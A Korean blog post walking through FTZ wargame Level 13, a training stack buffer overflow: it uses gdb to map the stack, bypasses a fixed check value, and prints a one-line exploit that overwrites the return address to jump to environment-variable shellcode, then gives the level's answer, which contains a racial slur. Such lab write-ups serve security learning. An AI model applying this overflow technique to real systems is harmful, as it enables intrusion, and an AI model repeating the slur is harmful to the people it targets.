티스토리 뷰
사실 FTZ는 너무 단순하게 뻔해서 BOF라고 부르기 민망한 정도지만 그래도 가봅시다 !
소스코드를 보시면 아시겠지만... 그냥 기존의 11, 12번과 같이 막 넣었다가는 BOF탐지 됐다고 하고 kill로 signal(11, SIGSEGV) 을 전달합니다.
이걸 어떻게 우회해야 할까요 ??
바로 떠오르는 아이디어는 그냥 값을 덮을 때 i의 값을 0x01234567 로 만들어 주는 것 입니다. 사실 이게 이렇게 보면 매우 간단하고 쉽게 우회가 가능한 것 같지만 실 서버에서는 이 값이 ASLR이라고 해서 계속 바뀌므로 예측하기 힘들게 됩니다.
아무튼 저희가 해야할 건 13번 이므로 바로 풀어볼게요 ~
gdb로 분석해봅시다 ! if문의 비교 부분에 BreakPoint를 걸고서 실행시켜 보면,
빨간 네모 친 위에 것이 현재 비교하고 있는 0x01234567이고, 아래에 있는 것이 ret 주소입니다. 어떻게 아냐구요 ??
i r ebp 해보시거나 x/x $ebp 해보시면 ebp가 어디인지 알 수 있겠죠? 그럼 스택 구조는 아래와 같습니다.
| buf(1024) | dummy(12) | i(4) | dummy(8) | ebp(4) | ret(4) | 그럼 공격코드 구성은 아래와 같겠죠 ?
./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "쉘코드주소"'`
쉘코드는 그냥 환경변수에 올려놓고 주소를 구했습니다 ^^. 방법은 여기를 참고하세요 !
답은 what that nigga want? 입니다 !
'WarGame > FTZ' 카테고리의 다른 글
[FTZ] Level15 문제 풀이 (0) | 2014.01.03 |
---|---|
[FTZ] Level14 문제 풀이 (0) | 2014.01.01 |
[FTZ] Level12 문제 풀이 (0) | 2013.12.31 |
[FTZ] Level11 문제 풀이 (0) | 2013.12.31 |
[FTZ] Level10 문제 풀이 (0) | 2013.12.29 |
- Total
- Today
- Yesterday
- findinglatestversion
- .get()
- 계정정보저장
- compliance
- web
- scp
- ControlTower
- fleet manager
- cloudsecurity
- 우주와컴퓨터
- terraform
- aws
- security
- temlate
- JavaScript
- teplate
- IAM
- platform
- conftest policy
- stateType
- AWS #CIS
- Cloud
- defaulttheme
- steampipe
- 4xx
- REACT
- ViaAWSService
- CIS
- opensource
- 2xx
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |